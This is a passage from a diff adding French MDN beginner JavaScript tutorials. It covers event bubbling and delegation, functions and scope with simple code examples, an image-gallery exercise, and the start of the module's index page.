Note: Pourquoi s'embêter à capturer et bouillonner ? Eh bien, aux heures sombres où les navigateurs étaien peu compatibles entre eux qu'ils ne le sont aujourd'hui, Netscape n'utilisait que la capture d'événements, et Internet Explorer n'utilisait que les bouillonnements. Quand le W3C a décidé d'essayer de normaliser le comportement et de parvenir à un consensus, ils en sont arrivés à ce système qui inclue les deux, qui est celui implémenté dans les navigateurs modernes.

+
+ +
+

Note: Comme mentionné ci-dessus, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement, ce qui est plus logique la plupart du temps. Si vous voulez vraiment enregistrer un événement dans la phase de capture, vous pouvez le faire en enregistrant votre gestionnaire avec addEventListener(), et en positionnant la troisième propriété, qui est optionnelle, surtrue.

+
+ +

Délégation d'événement

+ +

Le bouillonnement nous permet également de tirer parti de la délégation d'événements - ce concept repose sur le fait que si vous voulez exécuter du code lorsque vous cliquez sur l'un des nombreux éléments enfants, vous pouvez définir l'écouteur d'événement sur leur parent et ainsi leur répercuter les événement, plutôt que de devoir définir l'écouteur d'événement sur chaque enfant individuellement.
+
+ Un bon exemple est une série d'éléments de liste - si vous voulez que chacun d'eux fasse apparaître un message lorsque vous cliquez dessus, vous pouvez définir l'écouteur d'événement click sur la balise parente <ul>, et il apparaîtra sur les éléments de la liste.

+ +

Ce concept est expliqué plus loin sur le blog de David Walsh, avec de multiples exemples - voir How JavaScript Event Delegation Works.

+ +

Conclusion

+ +

Vous devriez maintenant maîtriser tout ce que vous devez savoir sur les événements Web à ce stade de votre apprentissage. Comme mentionné ci-dessus, les événements ne font pas vraiment partie du langage du noyau JavaScript principal - ils sont définis dans les API Web du navigateur.
+
+ En outre, il est important de comprendre que les différents contextes dans lesquels JavaScript est utilisé tendent à avoir des modèles d'événements différents - des API Web à d'autres domaines tels que WebExtensions du navigateur et Node.js (JavaScript côté serveur). Nous ne nous attendons pas à ce que vous compreniez tous ces domaines maintenant, mais cela aide certainement à comprendre les bases des événements à mesure que vous avancez dans l'apprentissage du développement Web.

+ +

S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article, ou contactez-nous pour demander de l'aide.

+ +

Voir aussi

+ +
    +
  • Event order (discussion sur la capture et le bouillonnement) — une pièce superbement détaillée de Peter-Paul Koch.
    • +
  • Event accessing (discussion sur l'objet événement) — une autre pièce superbement détaillée de Peter-Paul Koch.
    • +
  • Event reference
    • +
+ +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/javascript/building_blocks/functions/index.html b/files/fr/learn/javascript/building_blocks/functions/index.html new file mode 100644 index 0000000000..43f3e916e1 --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/functions/index.html @@ -0,0 +1,397 @@ +--- +title: Fonctions — des blocs de code réutilisables +slug: Apprendre/JavaScript/Building_blocks/Fonctions +translation_of: Learn/JavaScript/Building_blocks/Functions +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}
+ +

Les fonctions sont un autre concept essentiel de la programmation, qui permettent de stocker dans un bloc défini une partie de code qui effectue une seule tâche afin de l'appeler plus tard lorsque nous en avons besoin en utilisant une seule commande courte — au lieu de ré-écrire l'intégralité de ce code à chaque fois. Dans cet article nous explorons les concepts fondamentaux inhérents aux fonctions tels que la syntaxe de base, comment les définir et les invoquer, leur portée et leurs paramètres.

+ + + + + + + + + + + + +
Prerequis:Culture informatique basique, compréhension basique du HTML et du CSS, Premiers pas en JavaScript...
Objectif:Comprendre les concepts fondamentaux des fonctions JavaScript.
+ +

Où trouve-t'on des fonctions ?

+ +

En JavaScript, vous trouverez des fonctions partout. En fait, nous avons utilisé des fonctions depuis le début du cours ; nous n'en avons simplement pas beaucoup parlé. Toutefois, il est maintenant temps de parler des fonctions de manière explicite et d'explorer réellement leur syntaxe.

+ +

Presque à chaque fois que vous utilisez une structure de JavaScript qui utilise une paire de parenthèses — () — et que vous n'utilisez pas une structure usuelle et intégrée du langage telle que les boucles for, while ou do...while , ou une déclaration if...else , vous utilisez une fonction.

+ +

Les fonctions intégrées du navigateur

+ +

Nous avons beaucoup utilisé les fonctions intégrées du navigateur dans ce cours. Comme par exemple à chaque fois que nous avons manipulé une chaîne de caractères :

+ +
var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+console.log(newString);
+// La fonction replace () sélectionne une chaîne,
+// remplace une sous-chaîne par une autre, et renvoie
+// la nouvelle chaîne avec les modifications effectuées.
+ +

Ou à chaque fois que nous avons manipulé un tableau :

+ +
var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+console.log(madeAString);
+// La fonction join() sélectionne un tableau, rassemble
+// tous les éléments du tableau dans une chaîne,
+// et renvoie cette nouvelle chaîne.
+ +

Ou à chaque fois que nous avons généré un nombre aléatoire :

+ +
var myNumber = Math.random();
+// la fonction random() génère un nombre aléatoire
+// entre 0 et 1, et renvoie
+// ce nombre
+ +

... nous avons utilisé une fonction !

+ +
+

Note : N'hésitez pas à copier ces lignes dans la console JavaScript de votre navigateur afin de vous familiariser à nouveau avec leur fonctionnalité si vous en ressentez le besoin.

+
+ +

Le langage Javascript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand invoquez (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript.

+ +

Gardez à l'esprit que certaines fonctions intégrées du navigateur ne font pas partie du noyau du langage JavaScript — certaines font partie des APIs du navigateur qui sont construites à partir du langage par défaut pour apporter encore plus de fonctionnalités ( consultez cette section antérieure de notre cours pour une description plus détaillée ). Nous aborderons l'utilisation des APIs du navigateur plus en détail dans un module ultérieur.

+ +

Fonctions versus méthodes

+ +

Une chose que nous devons éclaircir avant d'aller plus loin — d'un point de vue technique les fonctions intégrées du navigateur ne sont pas des fonctions mais des méthodes. Cela peut vous effrayer ou vous désorienter mais n'ayez crainte — les mots fonction et méthode sont largement interchangeables, du moins pour ce qui nous concerne, à ce niveau de votre apprentissage.

+ +

La distinction réside dans le fait que les méthodes sont des fonctions définies à l'intérieur d'objets. Les fonctions intégrées au navigateur (méthodes) et les variables (que l'on appelle propriétés) sont stockées dans des objets structurés, pour rendre le code plus efficace et facile à manier.

+ +

Vous n'aurez pas besoin d'apprendre les rouages des objets structurés du JavaScript pour le moment — vous pouvez attendre un module ultérieur qui vous en apprendra tous les rouages internes et comment les créer par vous même. Pour le moment, nous souhaitons simplement éviter toute confusion possible entre méthode et fonction — car vous êtes susceptibles de rencontrer les deux termes si vous en recherchez les ressources disponibles sur le Web. 

+ +

Fonctions personnalisées

+ +

Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple random-canvas-circles.html tiré de l'article les boucles dans le code (voir aussi le code source complet), nous avons inclus une fonction personnalisée draw()qui ressemblait à ça :

+ +
function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i < 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}
+ +

Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit :

+ +
draw();
+ +

au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tous les codes qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction random() trois fois, comme définie par le code suivant :

+ +
function random(number) {
+  return Math.floor(Math.random()*number);
+}
+ +

Nous avions besoin de cette fonction car la fonction intégrée du navigateur Math.random() génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini.

+ +

Invoquer des fonctions

+ +

Vous êtes probablement au clair avec cela maintenant, mais juste au cas où... pour utiliser une fonction après qu'elle ait été définie, vous devez la lancer - ou l'invoquer. Pour ce faire, vous devez inclure le nom de la fonction quelque part dans le code suivi par des parenthèses.

+ +
function myFunction() {
+  alert('hello');
+}
+
+myFunction()
+// appelle la fonction une fois
+ +

Fonctions anonymes

+ +

Vous pouvez rencontrer des fonctions définies et invoquées de manière légèrement différentes. Nous venons juste de créer une fonction comme celle-ci :

+ +
function myFunction() {
+  alert('hello');
+}
+ +

Mais vous pouvez également créer une fonction qui n'a pas de nom :

+ +
function() {
+  alert('hello');
+}
+ +

Ceci est une fonction anonyme — elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué :

+ +
var myButton = document.querySelector('button');
+
+myButton.onclick = function() {
+  alert('hello');
+}
+ +

Cet exemple ci-dessus nécessite qu'il y ait un élément HTML {{htmlelement("button")}} disponible sur la page afin qu'il puisse être cliqué. Vous avez déjà rencontré ce type de structure plusieurs fois dans ce cours et vous en apprendrez plus à son sujet lorsque vous en étudierez l'utilisation dans l'article suivant.

+ +

Vous pouvez également assigner une fonction anonyme en tant que valeur d'une variable, comme par exemple :

+ +
var myGreeting = function() {
+  alert('hello');
+}
+ +

Cette fonction peut désormais être invoquée en utilisant :

+ +
myGreeting();
+ +

Cela a pour effet d'attribuer un nom à la fonction ; vous pouvez également utiliser la fonction anonyme en tant que valeur de variables multiples, comme par exemple :

+ +
var anotherGreeting = function() {
+  alert('hello');
+}
+ +

Cette fonction peut désormais être invoquée en utilisant au choix :

+ +
myGreeting();
+anotherGreeting();
+ +

Cela peut toutefois générer de la confusion, donc ne le faites pas ! Lorsque l'on crée des fonctions, il vaut mieux se contenter de cette forme :

+ +
function myGreeting() {
+  alert('hello');
+}
+ +

Vous utiliserez principalement des fonctions anonymes simplement pour lancer une partie de code en réponse à un évènement — comme lorsqu'un bouton est cliqué — en utilisant un gestionnaire d'évènement. Cela devrait ressembler à ça :

+ +
myButton.onclick = function() {
+  alert('hello');
+  // Je peux mettre ici autant
+  // de code que je le souhaite
+}
+ +

Paramètres des fonctions

+ +

Certaines fonctions nécessitent que l'on définisse des paramètres lorsqu'on les appelle — ce sont des valeurs qui doivent êtres inclues dans les parenthèses de la fonction pour que celle-ci fonctionne correctement.

+ +
+

Note : Les paramètres sont parfois appelés arguments, propriétés ou encore attributs.

+
+ +

Par exemple, la fonction intégrée du navigateur Math.random() ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : 

+ +
var myNumber = Math.random();
+ +

La fonction de chaîne intégrée du navigateur replace() nécessite toutefois deux paramètres — la sous-chaîne qu'elle doit remplacer à l'intérieur de la chaîne, et la sous-chaîne par laquelle elle doit la remplacer :

+ +
var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+ +
+

Note : Quand vous devez définir plusieurs paramètres, ils doivent être séparés par des virgules.

+
+ +

Il est également à noter que parfois les paramètres sont optionnels — vous n'avez pas à les spécifier. Si vous ne le faites pas, la fonction va généralement adopter un comportement par défaut. Par exemple, la fonction de tableau join() a des paramètres optionnels :

+ +
var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+// renvoie 'I love chocolate frogs'
+var madeAString = myArray.join();
+// renvoie 'I,love,chocolate,frogs'
+ +

Si aucun paramètre n'est inclus pour spécifier un caractère de jointure / délimitation, une virgule est utilisée par défaut.

+ +

La portée des fonctions et les conflits.

+ +

Parlons un peu de la {{glossary("portée")}} — un concept très important lorsque l'on a affaire à des fonctions. Lorsque vous créez une fonction, les variables et les autres choses qui sont définies à l'intérieur de la fonction ont leur propre portée, ce qui signifie qu'elles sont enfermées dans leur propre compartiment séparé et qu'elles ne peuvent pas être affectées par d'autres fonctions ou par le code en dehors de la fonction.

+ +

Le plus haut niveau en dehors de toutes vos fonctions est appelé la portée globale. Les valeurs définies dans la portée globale sont accessibles à partir de n'importe qu'elle partie du code.

+ +

Le JavaScript est construit de cette façon pour plusieurs raisons —  mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident.

+ +

Par exemple, disons que vous avez un fichier HTML qui appelle deux fichiers JavaScript externes, et que les deux ont une variable et une fonction définie qui utilisent le même nom :

+ +
<!-- Excerpt from my HTML -->
+<script src="first.js"></script>
+<script src="second.js"></script>
+<script>
+  greeting();
+</script>
+ +
// first.js
+var name = 'Chris';
+function greeting() {
+  alert('Hello ' + name + ': welcome to our company.');
+}
+ +
// second.js
+var name = 'Zaptec';
+function greeting() {
+  alert('Our company is called ' + name + '.');
+}
+ +

Les deux fonctions que vous voulez appeler s'appellent greeting(), mais vous ne pouvez accéder qu'à la fonction greeting() du second fichier second.js  — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier first.js.

+ +
+

Note : Vous pouvez voir cet exemple s'exécuter sur GitHub (voir aussi le code source).

+
+ +

En conservant des parties de votre code enfermées dans des fonctions, vous évitez de tels problèmes. Cette procédure est considérée comme une bonne pratique.

+ +

C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins !

+ +

+ +

Le gardien du zoo est comme la portée globale — il ou elle a les clefs pour accéder à chaque enclos, pour l'approvisionner en nourriture, soigner les animaux malades, ...etc.

+ +

Apprentissage actif : Jouer avec la portée

+ +

Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la portée.

+ +
    +
  1. Tout d'abord, faisons un copie locale de notre exemple function-scope.html. Celui-ci contient deux fonctions appelées a() et b(), et trois variables — x, y, and z — deux d'entre elles sont définies à l'intérieur de la fonction, et l'autre dans la portée globale. Il contient également une troisième fonction appelée output(), qui prend un seul paramètre et le renvoie dans un paragraphe de la page.
    2. +
  2. Ouvrez l'exemple ci-dessus dans un navigateur et dans un éditeur de texte.
    3. +
  3. Ouvrez la console JavaScript dans les outils de développement de votre navigateur et entrez la commande suivante : + 
    output(x);
    + Vous devriez voir la valeur de la variable x renvoyée à l'écran.
    4. +
  4. Maintenant essayez d'entrer les commandes suivantes : + 
    output(y);
+output(z);
    + +

    Toutes les deux devraient vous renvoyer un message d'erreur du type : "ReferenceError: y is not defined". Pourquoi ? À cause de la portée de la fonction — y and z sont enfermées dans les fonctions a() et b(), donc output() ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale.

    +
    5. +
  5. +

    Néanmoins, que se passe-t-il losqu'elles sont appelées de l'intérieur d'une autre fonction ? Essayer d'éditer a() et b() pour qu'elles aient la forme suivante :

    + + 
    function a() {
+  var y = 2;
+  output(y);
+}
+
+function b() {
+  var z = 3;
+  output(z);
+}
    + Sauvegardez le code et rechargez-le dans votre navigateur, puis essayez d'appeler les fonctions a() et b() depuis la console JavaScript : + + 
    a();
+b();
    + Vous devriez voir les valeurs y and z renvoyées sur la page. Cela fonctionne très bien car la fonction output() est applée à l'intérieur des autres fonctions — dans la portée dans laquelle les variables qu'elle renvoie sont définies. La fonction output() est elle-même disponible n'importe où dans le code, car elle est définie dans la portée globale.
    6. +
  6. Maintenant essayer de mettre à jour le code comme ceci : + 
    function a() {
+  var y = 2;
+  output(x);
+}
+
+function b() {
+  var z = 3;
+  output(x);
+}
    + Sauvegardez et rechargez à nouveau dans la console JavaScript :
    7. +
  7. + 
    a();
+b();
    + Les deux fonctions a() et b() appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction output() n'est pas dans la même portée que celle dans laquelle  x est définie, x est une variable globale et donc elle est disponible dans n'importe quelle partie du code.
    8. +
  8. Pour finir, essayez de mettre à jour le code comme ceci : + 
    function a() {
+  var y = 2;
+  output(z);
+}
+
+function b() {
+  var z = 3;
+  output(y);
+}
    +
    9. +
  9. Sauvegardez et rechargez à nouveau dans la console JavaScript : + 
    a();
+b();
    + Cette fois l'appel de a() et b() renverra l'erreur "ReferenceError: z is not defined"  — parce que l'appel de la fonction output() et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction.
    10. +
+ +
+

Note : Ces règles de portée ne s'appliquent pas aux boucles (ex. for() { ... }) ni aux instructions conditionnelles (ex. if() { ... }) — elles semblent très similaires, mais ce n'est pas la même chose ! Prenez garde de ne pas les confondre.

+
+ +
+

Note : Le message d'erreur ReferenceError: "x" is not defined est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée.

+
+ +
    +
+ +

Des fonctions à l'intérieur de fonctions

+ +
+
Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions :
+
+ +
function myBigFunction() {
+  var myValue;
+
+  subFunction1();
+  subFunction2();
+  subFunction3();
+}
+
+function subFunction1() {
+  console.log(myValue);
+}
+
+function subFunction2() {
+  console.log(myValue);
+}
+
+function subFunction3() {
+  console.log(myValue);
+}
+
+ +

Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur ReferenceError: myValue is not defined, car bien que la valeur myValue  est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci :

+ +
function myBigFunction() {
+  var myValue = 1;
+
+  subFunction1(myValue);
+  subFunction2(myValue);
+  subFunction3(myValue);
+}
+
+function subFunction1(value) {
+  console.log(value);
+}
+
+function subFunction2(value) {
+  console.log(value);
+}
+
+function subFunction3(value) {
+  console.log(value);
+}
+ +

Conclusion

+ +

Cet article a exploré les concepts fondamentaux inhérents aux fonctions, ouvrant la voie au suivant dans lequel nous passerons à la pratique et vous guiderons à travers les étapes pour construire votre propre fonction personnalisée.

+ +

Voir aussi

+ + + +
    +
+ +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/building_blocks/image_gallery/index.html b/files/fr/learn/javascript/building_blocks/image_gallery/index.html new file mode 100644 index 0000000000..07a51499fd --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/image_gallery/index.html @@ -0,0 +1,163 @@ +--- +title: Galerie d'images +slug: Apprendre/JavaScript/Building_blocks/Image_gallery +tags: + - Apprendre + - Boucles + - Débutant + - Evaluation + - Gestionnaire d'événement + - JavaScript + - conditions + - 'l10n:priority' + - Écriture de code + - évènements +translation_of: Learn/JavaScript/Building_blocks/Image_gallery +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
+ +

Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript,  nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements  en vous aidant à créer un élément assez commun que vous verrez  sur de nombreux sites web. Une galerie JavaScript animée.

+ + + + + + + + + + + + +
Conditions préalables:Avant de tenter cette évaluation, vous devriez avoir parcouru tous les articles de ce module. 
Objectif:Tester la compréhension des boucles, des fonctions, des conditions et des événements JavaScript.
+ +

Point de départ

+ +

Pour réaliser cette évaluation, vous devez récupérer le fichier ZIP et le décompresser quelque par sur votre ordinateur.

+ +

Vous pouvez également utiliser un site comme JSBin ou  Thimble pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments <script>/<style> dans la page HTML.

+ +
+

Note: Si vous êtes bloqué, demandez-nous de l'aide — voir la section {{anch("Évaluation ou aide supplémentaire")}} au bas de cette page.

+
+ +

Résumé du projet

+ +

Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci:

+ +
<h1>Image gallery example</h1>
+
+<div class="full-img">
+  <img class="displayed-img" src="images/pic1.jpg">
+  <div class="overlay"></div>
+  <button class="dark">Darken</button>
+</div>
+
+<div class="thumb-bar">
+
+</div>
+ +

L'exemple ressemble à ceci:

+ +

+ +
    +
+ +

Les parties les plus intéressantes du fichier CSS de l'exemple:

+ +
    +
  • Positionnez les trois éléments en absolu à l’intérieur du full-img <div>: le <img> dans lequel l’image est affichée grandeur nature, un  <div> vide dimensionné à la même taille que le <img> et placé juste au-dessus (ceci est utilisé pour appliquer un effet assombrissant à l'image via une couleur d'arrière-plan semi-transparente), et un bouton <button>qui est utilisé pour contrôler l'effet d'assombrissement.
    • +
  • Réglez la largeur des images à l'intérieur de thumb-bar <div>(appelées images miniatures) à 20% et faites un float à gauche pour qu'elles soient côte-à-côte sur une ligne.
    • +
+ +

Votre JavaScript doit:

+ +
    +
  • Itérer toutes les images dans une boucle, et pour chacune d'elle, insérer un élément <img> à l'intérieur de thumb-bar <div> qui va incorporer cette image dans la page.
    • +
  • Associer un gestionnaire d'événement onclick à chaque <img> à l'intérieur de thumb-bar <div> pour que, lorsqu'elles sont cliquées, l'image correspondante soit affichée dans l'élément displayed-img <img>.
    • +
  • Associer un gestionnaire d'événement onclick au <button> pour que, lorsqu'il est cliqué, un effet assombrissant soit appliqué à l'image grandeur nature. Losrqu'il est cliqué à nouveau, l'effet doit disparaitre.
    • +
+ +

Pour vous donner une idée, regardez l'exemple (Ne regardez pas le code source!).

+ +

Les différentes étapes

+ +

Les sections suivantes décrivent ce que vous avez à faire.

+ +

Itération sur les images

+ +

Nous vous avons fourni des lignes qui storent une référence à thumb-bar <div> dans une variable nommée thumbBar, créent un nouvel élément <img>, définissent son attribut src à un emplacement de valueur xxx, et ajoutent ce nouvel élément <img> dans thumbBar.

+ +

Vous avez besoin de:

+ +
    +
  1. Ajouter votre code en-dessous du commentaire Looping through images à l'intérieur d'une boucle qui itère sur les 5 images — vous n'avez besoin que de 5 itérations, chacune représentant une image.
    2. +
  2. Remplacez, pour chaque itération,  la valeur xxx de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut src dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est pic1.jpg, pic2.jpg, etc.
    3. +
+ +

Ajout d'un gestionnaire onclick à chaque miniature

+ +

À chaque itération, vous devez ajouter un gestionnaire onclick au newImage courant. Il doit:

+ +
    +
  1. Trouver la valeur de l'attribut src de l'image courante. Cela peut être fait avec la fonction getAttribute() sur <img>, en lui passant le paramètre "src" à chaque fois. Mais comment avoir l'image? Utiliser newImage ne marche pas du fait que la boucle est finie avant que le gestionnaire d'événement ne soit appelé; de cette manière, la valeur de src sera toujours celle du dernier <img>. Pour résoudre cela, gardez à l'esprit que, pour chaque gestionnaire d'événement, c'est <img> qui en est la cible. Pourquoi ne pas récupérer l'information de l'objet événement?
    2. +
  2. Exécuter une fonction, en lui passant en paramètre la fameuse valeur de src. Vous pouvez nommer la fonction à votre guise.
    3. +
  3. Cette fonction du gestionnaire d'événement doit définir la valeur de l'attribut src de displayed-img <img> à la valeur du src passé en paramètre. Nous vous avons fourni une ligne qui stocke une référence de l'<img> concerné dans une variable nommée displayedImg. Notez que nous voulons une fonction nommée.
    4. +
+ +

Écrire le gestionnaire du bouton d'assombrissement

+ +

Il ne reste que notre <button> d'assombrissement — nous vous avons fourni une ligne qui stocke une référence au <button> dans une variable appelée btn. Vous devez ajouter un gestionnaire onclick qui:

+ +
    +
  1. Vérifie la classe appliquée à <button> — à nouveau, vous pouvez utiliser getAttribute().
    2. +
  2. Si le nom de classe est "dark", changer la classe du <button> pour "light" (avec setAttribute()), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement <div> par "rgba(0,0,0,0.5)".
    3. +
  3. Si le nom de classe n'est pas "dark", changer la classe du <button> pour "dark", son contenu textuel par "Darken", et le {{cssxref("background-color")}} du voile d'assombrissement <div> par "rgba(0,0,0,0)".
    4. +
+ +

Les lignes suivantes fournissent une base pour réaliser les changements  décrits aux points 2 et 3.

+ +
btn.setAttribute('class', xxx);
+btn.textContent = xxx;
+overlay.style.backgroundColor = xxx;
+ +

Conseil

+ +
    +
  • Vous n'avez pas besoin d'éditer le code HTML ni le code CSS.
    • +
+ +

Évaluation ou aide supplémentaire

+ +

Si vous souhaitez que votre travail soit évalué, ou si vous êtes bloqué et que vous voulez demander de l'aide :

+ +
    +
  1. Mettez votre travail dans un éditeur partageable en ligne tel que CodePen, jsFiddle, ou Glitch.
    2. +
  2. Rédiger un sujet pour demander une évaluation et/ou une aide à le forum Discourse du MDN. Ajoutez la balise "learning" à votre message pour que nous puissions le trouver plus facilement. Votre message doit inclure : +
      +
    • Un titre descriptif tel que "Évaluation demandée pour la galerie d'images".
      • +
    • Des détails sur ce que vous souhaitez que nous fassions — par exemple ce que vous avez déjà essayé, si vous êtes bloqué et avez besoin d'aide.
      • +
    • Un lien vers l'exemple que vous souhaitez faire évaluer ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne. C'est une bonne pratique à adopter — il est très difficile d'aider une personne ayant un problème de codage si on ne peut pas voir son code.
      • +
    • Un lien vers la page de la tâche ou de l'évaluation proprement dite, afin que nous puissions trouver la question pour laquelle vous souhaitez de l'aide.
      • +
    +
    3. +
+ +

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre professeur ou mentor pour la notation. Si vous apprenez en autodidacte, vous pouvez obtenir le guide de notation simplement en le demandant sur le fil de discussion de cet exercice, ou sur #mdn du canal IRC de Mozilla IRC. Faites d'abord l'exercice, vous ne gagnerez rien à tricher!

+ +

{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/building_blocks/index.html b/files/fr/learn/javascript/building_blocks/index.html new file mode 100644 index 0000000000..7efffb563e --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/index.html @@ -0,0 +1,55 @@ +--- +title: Principaux blocs en JS +slug: Apprendre/JavaScript/Building_blocks +tags: + - Auto-évaluation + - Boucles + - Débutant + - Fonctions + - Guide + - Modules + - conditions + - évènements +translation_of: Learn/JavaScript/Building_blocks +--- +
{{JsSidebar}}
+ +
{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}}
+ +

Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails.

+ +

Prérequis

+ +

Avant de commencer ce module, vous devriez connaître les bases du HTML et du CSS et avoir suivi le module précédent, JavaScript Premiers Pas.

+ +
+

Note : Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, ce n'est pas un problème, vous pourrez essayer la plupart des exemples en lignes grâce à des outils comme JSBin ou Thimble .

+
+ +

Guides

+ +
+
Prendre des décisions dans votre code — les conditions
+
Quelque soit le langage de programmation, notre programme doit prendre des décisions et effectuer des actions différentes selon les valeurs traitées. Dans un jeu par exemple, si le nombre de vies du joueur est égal à 0, le jeu s'achève. Sur le même principe, une application météo affiche un fond d'aube si elle est lancée le matin, des étoiles et la Lune si, au contraire, elle est lancée la nuit. Dans cet article, nous allons voir comment les structures conditionnelles fonctionnent en JavaScript.
+
Les boucles
+
Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript.
+
Les fonctions — réutiliser des blocs de code
+
Un autre concept essentiel en programmation est celui de fonctions. Les fonctions permettent de définir un morceau de code réalisant une tâche particulière qui pourra être appelé ultérieurement dans le reste du programme par une simple ligne, ce qui évite d'écrire plusieurs fois le même code. Dans cet article, nous allons voir les concepts qui se cachent derrière les fonctions tels que la syntaxe de base, la définition et l'appel d'une fonction, sa portée et ses paramètres.
+
Créez votre propre fonction
+
